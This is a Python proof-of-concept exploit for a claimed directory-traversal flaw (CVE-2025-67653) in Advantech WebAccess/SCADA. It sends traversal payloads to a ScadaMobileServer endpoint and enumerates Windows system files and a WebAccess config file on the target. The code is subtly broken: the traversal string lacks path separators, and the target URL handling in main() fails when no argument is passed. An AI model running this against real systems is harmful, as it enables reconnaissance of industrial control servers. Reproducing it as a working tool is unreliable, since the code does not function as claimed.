The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2025-67653 PoC - Advantech WebAccess/SCADA Directory Traversal
# This PoC demonstrates how an attacker can detect the existence of arbitrary files
target_url = "http://target-server/ScadaMobileServer/" # Update target IP
def check_file_exists(filepath):
"""Check if a file exists on the target server using directory traversal"""
# Path traversal payload
traversal = ".." * 10 + "/"
payload = f"{traversal}{filepath}"
params = {
"file": payload
}
try:
response = requests.get(target_url, params=params, timeout=10)
# If file exists, server may respond with 200 or specific content
# If file doesn't exist, server may respond with 404 or error
if response.status_code == 200:
return True
elif response.status_code == 404:
return False
else:
# Check response content for hints
if "cannot be found" not in response.text.lower():
return True
return False
except requests.exceptions.RequestException:
return None
def main():
if len(sys.argv) > 1:
target_url = sys.argv[1]
# Test file paths to enumerate
test_files = [
"C:\\Windows\\win.ini",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
"C:\\Program Files\\Advantech\\WebAccess\\config.ini",
"C:\\ProgramData\\Microsoft\\Windows\\UAC\\file.txt"
]
print(f"[*] Testing CVE-2025-67653 on {target_url}")
print("-" * 50)
for file_path in test_files:
result = check_file_exists(file_path)
if result:
print(f"[+] File EXISTS: {file_path}")
elif result is False:
print(f"[-] File NOT FOUND: {file_path}")
else:
print(f"[?] Could not determine: {file_path}")
if __name__ == "__main__":
main()